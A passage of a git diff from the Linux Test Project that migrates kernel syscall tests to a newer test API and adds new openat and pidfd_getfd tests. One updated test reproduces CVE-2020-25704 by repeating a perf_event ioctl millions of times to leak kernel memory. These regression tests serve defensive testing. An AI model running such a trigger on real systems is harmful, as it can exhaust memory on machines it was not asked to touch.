"test_dir/" static int dir_fd, fd; static int fd_invalid = 100; static int fd_atcwd = AT_FDCWD; - -#define TEST_FILE "test_file" -#define TEST_DIR "test_dir/" - static char glob_path[256]; static struct test_case { @@ -65,80 +55,50 @@ static struct test_case { {&fd_atcwd, TEST_DIR TEST_FILE, 0, 0} }; -int TST_TOTAL = ARRAY_SIZE(test_cases); - -static void verify_openat(struct test_case *test) +static void verify_openat(unsigned int n) { - TEST(openat(*test->dir_fd, test->pathname, O_RDWR, 0600)); - - if ((test->exp_ret == -1 && TEST_RETURN != -1) || - (test->exp_ret == 0 && TEST_RETURN < 0)) { - tst_resm(TFAIL | TTERRNO, - "openat() returned %ldl, expected %d", - TEST_RETURN, test->exp_ret); - return; - } - - if (TEST_RETURN > 0) - SAFE_CLOSE(cleanup, TEST_RETURN); - - if (TEST_ERRNO != test->exp_errno) { - tst_resm(TFAIL | TTERRNO, - "openat() returned wrong errno, expected %s(%d)", - tst_strerrno(test->exp_errno), test->exp_errno); - return; + struct test_case *tc = &test_cases[n]; + + if (tc->exp_ret) { + if (tc->exp_errno == ENOTDIR) { + TST_EXP_FAIL2(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600), + ENOTDIR, "openat with a filefd instead of dirfd"); + } else { + TST_EXP_FAIL2(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600), + EBADF, "openat with invalid fd"); + } + } else { + TST_EXP_FD(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600)); } - tst_resm(TPASS | TTERRNO, "openat() returned %ld", TEST_RETURN); -} - -int main(int ac, char **av) -{ - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) - verify_openat(test_cases + i); - } - - cleanup(); - tst_exit(); + if (TST_RET > 0) + SAFE_CLOSE(TST_RET); } static void setup(void) { - char *tmpdir; - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - tst_tmpdir(); - - SAFE_MKDIR(cleanup, TEST_DIR, 0700); - dir_fd = SAFE_OPEN(cleanup, TEST_DIR, O_DIRECTORY); - fd = SAFE_OPEN(cleanup, TEST_DIR TEST_FILE, O_CREAT | O_RDWR, 0600); + char buf[PATH_MAX]; - tmpdir = tst_get_tmpdir(); - snprintf(glob_path, sizeof(glob_path), "%s/" TEST_DIR TEST_FILE, - tmpdir); - free(tmpdir); + SAFE_GETCWD(buf, PATH_MAX); + SAFE_MKDIR(TEST_DIR, 0700); + dir_fd = SAFE_OPEN(TEST_DIR, O_DIRECTORY); + fd = SAFE_OPEN(TEST_DIR TEST_FILE, O_CREAT | O_RDWR, 0600); - TEST_PAUSE; + snprintf(glob_path, sizeof(glob_path), "%s/" TEST_DIR TEST_FILE, buf); } static void cleanup(void) { - if (fd > 0 && close(fd)) - tst_resm(TWARN | TERRNO, "close(fd) failed"); - - if (dir_fd > 0 && close(dir_fd)) - tst_resm(TWARN | TERRNO, "close(dir_fd) failed"); - - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); + if (dir_fd > 0) + SAFE_CLOSE(dir_fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test = verify_openat, + .tcnt = ARRAY_SIZE(test_cases), + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/openat/openat02.c b/testcases/kernel/syscalls/openat/openat02.c index 2ce11903..012b135e 100755 --- a/testcases/kernel/syscalls/openat/openat02.c +++ b/testcases/kernel/syscalls/openat/openat02.c @@ -22,7 +22,7 @@ * 2)openat() succeeds to enable the close-on-exec flag for a * file descriptor, when 'flags' is set to O_CLOEXEC. * 3)openat() succeeds to allow files whose sizes cannot be - * represented in an off_t but can be represented in an off64_t + * represented in an off_t but can be represented in an off_t * to be opened, when 'flags' is set to O_LARGEFILE. * 4)openat() succeeds to not update the file last access time * (st_atime in the inode) when the file is read, when 'flags' @@ -126,7 +126,7 @@ void testfunc_append(void) return; } - SAFE_WRITE(cleanup, 1, TEST_RETURN, STR, sizeof(STR) - 1); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, TEST_RETURN, STR, sizeof(STR) - 1); file_offset = SAFE_LSEEK(cleanup, TEST_RETURN, 0, SEEK_CUR); @@ -144,12 +144,6 @@ void testfunc_cloexec(void) int status; char buf[20]; - if ((tst_kvercmp(2, 6, 23)) < 0) { - tst_resm(TCONF, "test O_CLOEXEC flags for openat " - "needs kernel 2.6.23 or higher"); - return; - } - TEST(openat(AT_FDCWD, TEST_FILE, O_CLOEXEC | O_RDWR, 0777)); if (TEST_RETURN == -1) { @@ -193,16 +187,16 @@ void testfunc_cloexec(void) void testfunc_largefile(void) { int fd; - off64_t offset; + off_t offset; fd = SAFE_OPEN(cleanup, LARGE_FILE, O_LARGEFILE | O_RDWR | O_CREAT, 0777); - offset = lseek64(fd, 4.1*1024*1024*1024, SEEK_SET); + offset = lseek(fd, 4.1*1024*1024*1024, SEEK_SET); if (offset == -1) tst_brkm(TBROK | TERRNO, cleanup, "lseek64 failed"); - SAFE_WRITE(cleanup, 1, fd, STR, sizeof(STR) - 1); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, STR, sizeof(STR) - 1); SAFE_CLOSE(cleanup, fd); @@ -223,12 +217,6 @@ void testfunc_noatime(void) const char *flags[] = {"noatime", "relatime", NULL}; int ret; - if ((tst_kvercmp(2, 6, 8)) < 0) { - tst_resm(TCONF, "test O_NOATIME flags for openat " - "needs kernel 2.6.8 or higher"); - return; - } - ret = tst_path_has_mnt_flags(cleanup, NULL, flags); if (ret > 0) { tst_resm(TCONF, "test O_NOATIME flag for openat needs " diff --git a/testcases/kernel/syscalls/openat/openat03.c b/testcases/kernel/syscalls/openat/openat03.c index 2846fd07..90bcff5d 100755 --- a/testcases/kernel/syscalls/openat/openat03.c +++ b/testcases/kernel/syscalls/openat/openat03.c @@ -76,7 +76,7 @@ static void write_file(int fd) int i; for (i = 0; i < blocks_num; ++i) - SAFE_WRITE(cleanup, 1, fd, buf, size); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, buf, size); } void test01(void) diff --git a/testcases/kernel/syscalls/openat/openat04.c b/testcases/kernel/syscalls/openat/openat04.c new file mode 100644 index 00000000..df5956cd --- /dev/null +++ b/testcases/kernel/syscalls/openat/openat04.c @@ -0,0 +1,182 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Check setgid strip logic whether works correctly when creating tmpfile under + * filesystem without POSIX ACL supported(by using noacl mount option). Test it + * with umask S_IXGRP and also check file mode whether has filtered S_IXGRP. + * + * Fixed in: + * + * commit ac6800e279a22b28f4fc21439843025a0d5bf03e + * Author: Yang Xu + * Date: Thu July 14 14:11:26 2022 +0800 + * + * fs: Add missing umask strip in vfs_tmpfile + * + * The most code is pasted form creat09.c. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/fcntl.h" +#include "tst_uid.h" +#include "tst_safe_file_at.h" + +#define MODE_RWX 0777 +#define MODE_SGID (S_ISGID|0777) +#define MNTPOINT "mntpoint" +#define WORKDIR MNTPOINT "/testdir" +#define OPEN_FILE "open.tmp" + +static gid_t free_gid; +static int tmpfile_fd = -1, dir_fd = -1, mount_flag; +static struct passwd *ltpuser; + +static void do_mount(const char *source, const char *target, + const char *filesystemtype, unsigned long mountflags, + const void *data) +{ + TEST(mount(source, target, filesystemtype, mountflags, data)); + + if (TST_RET == -1 && TST_ERR == EINVAL) + tst_brk(TCONF, "Kernel does not support noacl feature"); + + if (TST_RET == -1) { + tst_brk(TBROK | TTERRNO, "mount(%s, %s, %s, %lu, %p) failed", + source, target, filesystemtype, mountflags, data); + } + + if (TST_RET) + tst_brk(TBROK, "Invalid mount return value %ld", TST_RET); + + mount_flag = 1; +} + +static void open_tmpfile_supported(int dirfd) +{ + TEST(openat(dirfd, ".", O_TMPFILE | O_RDWR, S_IXGRP | S_ISGID)); + + if (TST_RET == -1) { + if (errno == ENOTSUP) + tst_brk(TCONF, "fs doesn't support O_TMPFILE"); + else + tst_brk(TBROK | TTERRNO, "openat(%d, O_TMPFILE) failed", dirfd); + } + + if (TST_RET < 0) + tst_brk(TBROK, "Invalid openat return value %ld", TST_RET); + + SAFE_CLOSE(TST_RET); +} + +static void setup(void) +{ + struct stat buf; + + ltpuser = SAFE_GETPWNAM("nobody"); + + do_mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, "noacl"); + + tst_res(TINFO, "User nobody: uid = %d, gid = %d", (int)ltpuser->pw_uid, + (int)ltpuser->pw_gid); + free_gid = tst_get_free_gid(ltpuser->pw_gid); + + /* Create directories and set permissions */ + SAFE_MKDIR(WORKDIR, MODE_RWX); + dir_fd = SAFE_OPEN(WORKDIR, O_RDONLY, O_DIRECTORY); + open_tmpfile_supported(dir_fd); + + SAFE_CHOWN(WORKDIR, ltpuser->pw_uid, free_gid); + SAFE_CHMOD(WORKDIR, MODE_SGID); + SAFE_STAT(WORKDIR, &buf); + + if (!(buf.st_mode & S_ISGID)) + tst_brk(TBROK, "%s: Setgid bit not set", WORKDIR); + + if (buf.st_gid != free_gid) { + tst_brk(TBROK, "%s: Incorrect group, %u != %u", WORKDIR, + buf.st_gid, free_gid); + } + + /* Switch user */ + SAFE_SETGID(ltpuser->pw_gid); + SAFE_SETREUID(-1, ltpuser->pw_uid); +} + +static void file_test(int dfd, const char *path, int flags) +{ + struct stat buf; + + SAFE_FSTATAT(dfd, path, &buf, flags); + + TST_EXP_EQ_LI(buf.st_gid, free_gid); + + if (buf.st_mode & S_ISGID) + tst_res(TFAIL, "%s: Setgid bit is set", path); + else + tst_res(TPASS, "%s: Setgid bit not set", path); + + if (buf.st_mode & S_IXGRP) + tst_res(TFAIL, "%s: S_IXGRP bit is set", path); + else + tst_res(TPASS, "%s: S_IXGRP bit is not set", path); +} + +static void run(void) +{ + char path[PATH_MAX]; + + umask(S_IXGRP); + tmpfile_fd = SAFE_OPENAT(dir_fd, ".", O_TMPFILE | O_RDWR, MODE_SGID); + snprintf(path, PATH_MAX, "/proc/self/fd/%d", tmpfile_fd); + SAFE_LINKAT(AT_FDCWD, path, dir_fd, OPEN_FILE, AT_SYMLINK_FOLLOW); + file_test(dir_fd, OPEN_FILE, 0); + SAFE_CLOSE(tmpfile_fd); + /* Cleanup between loops */ + tst_purge_dir(WORKDIR); +} + +static void cleanup(void) +{ + SAFE_SETREUID(-1, 0); + + if (tmpfile_fd >= 0) + SAFE_CLOSE(tmpfile_fd); + if (dir_fd >= 0) + SAFE_CLOSE(dir_fd); + if (mount_flag && tst_umount(MNTPOINT)) + tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .all_filesystems = 1, + .format_device = 1, + .mntpoint = MNTPOINT, + .skip_filesystems = (const char*[]) { + "exfat", + "ntfs", + "vfat", + NULL + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "ac6800e279a2"}, + {"linux-git", "426b4ca2d6a5"}, + {} + }, +}; diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c index 6286d415..30c0d759 100755 --- a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c +++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c @@ -1,6 +1,7 @@ /******************************************************************************/ /* */ /* Ingo Molnar , 2009 */ +/* Copyright (c) Linux Test Project, 2014-2022 */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ @@ -38,9 +39,7 @@ #include #include #include "config.h" -#if HAVE_PERF_EVENT_ATTR -# include -#endif +#include #include "test.h" #include "lapi/syscalls.h" @@ -48,7 +47,6 @@ char *TCID = "perf_event_open01"; -#if HAVE_PERF_EVENT_ATTR static void setup(void); static void cleanup(void); @@ -123,7 +121,7 @@ static int perf_event_open(struct perf_event_attr *hw_event, pid_t pid, { int ret; - ret = ltp_syscall(__NR_perf_event_open, hw_event, pid, cpu, + ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); return ret; } @@ -198,13 +196,3 @@ static void verify(struct test_case_t *tc) static void cleanup(void) { } - -#else - -int main(void) -{ - tst_brkm(TCONF, NULL, "This system doesn't have " - "header file: or " - "no struct perf_event_attr defined"); -} -#endif diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c index 0335a296..defe13c6 100755 --- a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c +++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2009 Paul Mackerras - * Copyright (c) 2019 Linux Test Project + * Copyright (c) 2014-2022 Linux Test Project */ /* * Here's a little test program that checks whether software counters @@ -45,7 +45,6 @@ #include "lapi/cpuset.h" #include "lapi/syscalls.h" -#if HAVE_PERF_EVENT_ATTR #include "perf_event_open.h" #define MAX_CTRS 1000 @@ -335,9 +334,5 @@ static struct tst_test test = { }, .test_all = verify, .needs_root = 1, + .max_runtime = 72 }; - -#else /* HAVE_PERF_EVENT_ATTR */ -TST_TEST_TCONF("This system doesn't have or " - "struct perf_event_attr is not defined."); -#endif diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c index f58bea79..7dd31d3d 100755 --- a/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c +++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2021 SUSE LLC + * Copyright (c) 2022 Linux Test Project * * CVE-2020-25704 * @@ -15,14 +16,16 @@ #include "config.h" #include "tst_test.h" +#include "tst_timer.h" #include "lapi/syscalls.h" -#if HAVE_PERF_EVENT_ATTR #include "perf_event_open.h" #define INTEL_PT_PATH "/sys/bus/event_source/devices/intel_pt/type" +const int iterations = 12000000; static int fd = -1; +static int runtime; static void setup(void) { @@ -39,6 +42,37 @@ static void setup(void) SAFE_FILE_SCANF(INTEL_PT_PATH, "%d", &ev.type); fd = perf_event_open(&ev, getpid(), -1, -1, 0); + + runtime = tst_remaining_runtime(); +} + +/* + * Check how fast we can do the iterations after 5 seconds of runtime. + * If the rate is too small to complete for current runtime then + * stop the test. + */ +static void check_progress(int i) +{ + static float iter_per_ms; + long long elapsed_ms; + + if (iter_per_ms) + return; + + if (i % 1000 != 0) + return; + + tst_timer_stop(); + elapsed_ms = tst_timer_elapsed_ms(); + if (elapsed_ms > 5000) { + iter_per_ms = (float) i / elapsed_ms; + tst_res(TINFO, "rate: %f iters/ms", iter_per_ms); + tst_res(TINFO, "needed rate for current test runtime: %f iters/ms", + (float) iterations / (runtime * 1000)); + + if (iter_per_ms * 1000 * (runtime - 1) < iterations) + tst_brk(TCONF, "System too slow to complete test in specified runtime"); + } } static void run(void) @@ -47,10 +81,13 @@ static void run(void) int i; diff = SAFE_READ_MEMINFO("MemAvailable:"); + tst_timer_start(CLOCK_MONOTONIC); /* leak about 100MB of RAM */ - for (i = 0; i < 12000000; i++) + for (i = 0; i < iterations; i++) { ioctl(fd, PERF_EVENT_IOC_SET_FILTER, "filter,0/0@abcd"); + check_progress(i); + } diff -= SAFE_READ_MEMINFO("MemAvailable:"); @@ -71,14 +108,10 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, + .max_runtime = 300, .tags = (const struct tst_tag[]) { {"linux-git", "7bdb157cdebb"}, {"CVE", "2020-25704"}, {} } }; - -#else /* HAVE_PERF_EVENT_ATTR */ -TST_TEST_TCONF("This system doesn't have or " - "struct perf_event_attr is not defined."); -#endif diff --git a/testcases/kernel/syscalls/personality/personality01.c b/testcases/kernel/syscalls/personality/personality01.c index b646e2a9..47fb6625 100755 --- a/testcases/kernel/syscalls/personality/personality01.c +++ b/testcases/kernel/syscalls/personality/personality01.c @@ -1,24 +1,15 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) 2016 Linux Test Project * Copyright (c) International Business Machines Corp., 2001 * 03/2001 - Written by Wayne Boyer * Copyright (c) 2016 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* +/*\ + * [Description] + * * Tries to set different personalities. * * We set the personality in a child process since it's not guaranteed that we @@ -26,19 +17,17 @@ * bit archs. */ -#include "test.h" -#include - -char *TCID = "personality01"; +#include "tst_test.h" +#include "lapi/personality.h" #define PAIR(id) {id, #id} struct personalities { - unsigned long int pers; + unsigned long pers; const char *name; }; -struct personalities pers[] = { +static struct personalities pers[] = { PAIR(PER_LINUX), PAIR(PER_LINUX_32BIT), PAIR(PER_SVR4), @@ -62,60 +51,24 @@ struct personalities pers[] = { PAIR(PER_HPUX), }; -int TST_TOTAL = ARRAY_SIZE(pers); - -static void do_child(unsigned int i) +static void run(unsigned int i) { - int ret; + pid_t pid; - ret = personality(pers[i].pers); - if (ret < 0) { - tst_resm(TFAIL | TERRNO, "personality(%s) failed", pers[i].name); - return; - } + pid = SAFE_FORK(); + if (!pid) { + SAFE_PERSONALITY(pers[i].pers); - ret = personality(0xffffffff); + TST_EXP_EXPR((unsigned long)SAFE_PERSONALITY(0xffffffff) == pers[i].pers, + "%s personality is set", + pers[i].name); - if ((unsigned long)ret != pers[i].pers) { - tst_resm(TFAIL, - "%s: wrong personality read back %d expected %lu", - pers[i].name, ret, pers[i].pers); return; } - - tst_resm(TPASS, "personality(%s)", pers[i].name); -} - -static void verify_personality(unsigned int i) -{ - pid_t pid; - - pid = tst_fork(); - switch (pid) { - case 0: - do_child(i); - tst_exit(); - break; - case -1: - tst_brkm(TBROK | TERRNO, NULL, "fork() failed"); - break; - default: - tst_record_childstatus(NULL, pid); - break; - } } -int main(int ac, char **av) -{ - int i, lc; - - tst_parse_opts(ac, av, NULL, NULL); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - for (i = 0; i < TST_TOTAL; i++) { - verify_personality(i); - } - } - - tst_exit(); -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(pers), + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/personality/personality02.c b/testcases/kernel/syscalls/personality/personality02.c index eb18c995..e080284f 100755 --- a/testcases/kernel/syscalls/personality/personality02.c +++ b/testcases/kernel/syscalls/personality/personality02.c @@ -1,62 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) 2016 Linux Test Project * Copyright (c) 2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* - * If personality with STICKY_TIMEOUTS is used select() timeout is not updated. +/*\ + * [Description] + * + * This test checks if select() timeout is not updated when personality with + * STICKY_TIMEOUTS is used. */ -#include "test.h" -#include +#include "tst_test.h" +#include "lapi/personality.h" #include -char *TCID = "personality02"; -int TST_TOTAL = 1; - #define USEC 10 -static void verify_personality(void) +static void run(void) { - struct timeval tv = {.tv_sec = 0, .tv_usec = USEC}; - int ret; + struct timeval tv = { .tv_sec = 0, .tv_usec = USEC }; fd_set rfds; FD_ZERO(&rfds); FD_SET(1, &rfds); - personality(PER_LINUX | STICKY_TIMEOUTS); - ret = select(2, &rfds, NULL, NULL, &tv); - personality(PER_LINUX); - if (ret < 0) - tst_resm(TBROK | TERRNO, "select()"); + SAFE_PERSONALITY(PER_LINUX | STICKY_TIMEOUTS); - if (tv.tv_usec != USEC) - tst_resm(TFAIL, "Timeout was modified"); - else - tst_resm(TPASS, "Timeout wasn't modified"); -} - -int main(int ac, char **av) -{ - int lc; + TEST(select(2, &rfds, NULL, NULL, &tv)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select() error"); - tst_parse_opts(ac, av, NULL, NULL); + SAFE_PERSONALITY(PER_LINUX); - for (lc = 0; TEST_LOOPING(lc); lc++) - verify_personality(); - - tst_exit(); + TST_EXP_EQ_LI(tv.tv_usec, USEC); } + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/pidfd_getfd/.gitignore b/testcases/kernel/syscalls/pidfd_getfd/.gitignore new file mode 100644 index 00000000..8ef90420 --- /dev/null +++ b/testcases/kernel/syscalls/pidfd_getfd/.gitignore @@ -0,0 +1,2 @@ +/pidfd_getfd01 +/pidfd_getfd02 diff --git a/testcases/kernel/syscalls/pidfd_getfd/Makefile b/testcases/kernel/syscalls/pidfd_getfd/Makefile new file mode 100644 index 00000000..5ea7d67d --- /dev/null +++ b/testcases/kernel/syscalls/pidfd_getfd/Makefile @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c new file mode 100644 index 00000000..60cf6702 --- /dev/null +++ b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Basic pidfd_getfd() test: + * + * - the close-on-exec flag is set on the file descriptor returned by + * pidfd_getfd + * - use kcmp to check whether a file descriptor idx1 in the process pid1 + * refers to the same open file description as file descriptor idx2 in + * the process pid2 + */ + +#include +#include +#include +#include "tst_test.h" +#include "lapi/kcmp.h" +#include "tst_safe_macros.h" +#include "lapi/pidfd.h" + +#define TESTFILE "testfile" + +static int fds[2] = {-1, -1}; +static int pidfd = -1; + +static void do_child(void) +{ + int fd; + + SAFE_CLOSE(fds[0]); + fd = SAFE_CREAT(TESTFILE, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], &fd, sizeof(fd)); + TST_CHECKPOINT_WAIT(0); + SAFE_CLOSE(fd); + SAFE_CLOSE(fds[1]); + exit(0); +} + +static void run(void) +{ + int flag, pid, targetfd, remotefd; + + SAFE_PIPE(fds); + pid = SAFE_FORK(); + if (!pid) + do_child(); + + SAFE_CLOSE(fds[1]); + TST_PROCESS_STATE_WAIT(pid, 'S', 0); + + pidfd = SAFE_PIDFD_OPEN(pid, 0); + SAFE_READ(1, fds[0], &targetfd, sizeof(targetfd)); + TST_EXP_FD_SILENT(pidfd_getfd(pidfd, targetfd, 0), + "pidfd_getfd(%d, %d , 0)", pidfd, targetfd); + + remotefd = TST_RET; + flag = SAFE_FCNTL(remotefd, F_GETFD); + if (!(flag & FD_CLOEXEC)) + tst_res(TFAIL, "pidfd_getfd() didn't set close-on-exec flag"); + + TST_EXP_VAL_SILENT(kcmp(getpid(), pid, KCMP_FILE, remotefd, targetfd), 0); + + tst_res(TPASS, "pidfd_getfd(%d, %d, 0) passed", pidfd, targetfd); + + TST_CHECKPOINT_WAKE(0); + SAFE_CLOSE(remotefd); + SAFE_CLOSE(pidfd); + SAFE_CLOSE(fds[0]); + tst_reap_children(); +} + +static void setup(void) +{ + pidfd_open_supported(); + pidfd_getfd_supported(); +} + +static void cleanup(void) +{ + if (fds[0] > -1) + SAFE_CLOSE(fds[0]); + if (fds[1] > -1) + SAFE_CLOSE(fds[1]); + if (pidfd > -1) + SAFE_CLOSE(pidfd); +} + +static struct tst_test test = { + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c new file mode 100644 index 00000000..3431a093 --- /dev/null +++ b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Tests basic error handling of the pidfd_open syscall. + * + * - EBADF pidfd is not a valid PID file descriptor + * - EBADF targetfd is not an open file descriptor in the process referred + * to by pidfd + * - EINVAL flags is not 0 + * - ESRCH the process referred to by pidfd does not exist (it has terminated + * and been waited on) + * - EPERM the calling process doesn't have PTRACE_MODE_ATTACH_REALCREDS permissions + * over the process referred to by pidfd + */ + +#include +#include +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "lapi/pidfd.h" + +static int valid_pidfd = -1, invalid_pidfd = -1, pidfd = -1; +static uid_t uid; + +static struct tcase { + char *name; + int *pidfd; + int targetfd; + int flags; + int exp_errno; +} tcases[] = { + {"invalid pidfd", &invalid_pidfd, 0, 0, EBADF}, + {"invalid targetfd", &valid_pidfd, -1, 0, EBADF}, + {"invalid flags", &valid_pidfd, 0, 1, EINVAL}, + {"the process referred to by pidfd doesn't exist", NULL, 0, 0, ESRCH}, + {"lack of required permission", &valid_pidfd, 0, 0, EPERM}, +}; + +static void setup(void) +{ + pidfd_open_supported(); + pidfd_getfd_supported(); + + struct passwd *pw; + + pw = SAFE_GETPWNAM("nobody"); + uid = pw->pw_uid; + + valid_pidfd = SAFE_PIDFD_OPEN(getpid(), 0); +} + +static void cleanup(void) +{ + if (valid_pidfd > -1) + SAFE_CLOSE(valid_pidfd); + if (pidfd > -1) + SAFE_CLOSE(pidfd); +} + +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + int pid; + + if (tc->exp_errno == EPERM) { + pid = SAFE_FORK(); + if (!pid) { + SAFE_SETUID(uid); + TST_EXP_FAIL2(pidfd_getfd(valid_pidfd, tc->targetfd, tc->flags), + tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s", + valid_pidfd, tc->targetfd, tc->flags, tc->name); + TST_CHECKPOINT_WAKE(0); + exit(0); + } + TST_CHECKPOINT_WAIT(0); + SAFE_WAIT(NULL); + return; + } else if (tc->exp_errno == ESRCH) { + pid = SAFE_FORK(); + if (!pid) { + TST_CHECKPOINT_WAIT(0); + exit(0); + } + pidfd = SAFE_PIDFD_OPEN(pid, 0); + TST_CHECKPOINT_WAKE(0); + SAFE_WAIT(NULL); + TST_EXP_FAIL2(pidfd_getfd(pidfd, tc->targetfd, tc->flags), + tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s", + pidfd, tc->targetfd, tc->flags, tc->name); + SAFE_CLOSE(pidfd); + } else { + TST_EXP_FAIL2(pidfd_getfd(*tc->pidfd, tc->targetfd, tc->flags), + tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s", + *tc->pidfd, tc->targetfd, tc->flags, tc->name); + } +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .test = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/syscalls/pidfd_open/.gitignore b/testcases/kernel/syscalls/pidfd_open/.gitignore index e0b8900c..cebdc624 100755 --- a/testcases/kernel/syscalls/pidfd_open/.gitignore +++ b/testcases/kernel/syscalls/pidfd_open/.gitignore @@ -1,3 +1,4 @@ pidfd_open01 pidfd_open02 pidfd_open03 +pidfd_open04 diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c index f40e9b62..ce07e671 100755 --- a/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c +++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c @@ -1,33 +1,33 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar + */ + +/*\ + * [Description] * - * Description: * Basic pidfd_open() test: - * 1) Fetch the PID of the current process and try to get its file descriptor. - * 2) Check that the close-on-exec flag is set on the file descriptor. + * + * - Fetch the PID of the current process and try to get its file descriptor. + * - Check that the close-on-exec flag is set on the file descriptor. */ #include -#include #include "tst_test.h" -#include "lapi/pidfd_open.h" +#include "lapi/pidfd.h" + +static int pidfd = -1; static void run(void) { int flag; - TEST(pidfd_open(getpid(), 0)); - - if (TST_RET == -1) - tst_brk(TFAIL | TTERRNO, "pidfd_open(getpid(), 0) failed"); + TST_EXP_FD_SILENT(pidfd_open(getpid(), 0), "pidfd_open(getpid(), 0)"); - flag = fcntl(TST_RET, F_GETFD); + pidfd = TST_RET; + flag = SAFE_FCNTL(pidfd, F_GETFD); - SAFE_CLOSE(TST_RET); - - if (flag == -1) - tst_brk(TFAIL | TERRNO, 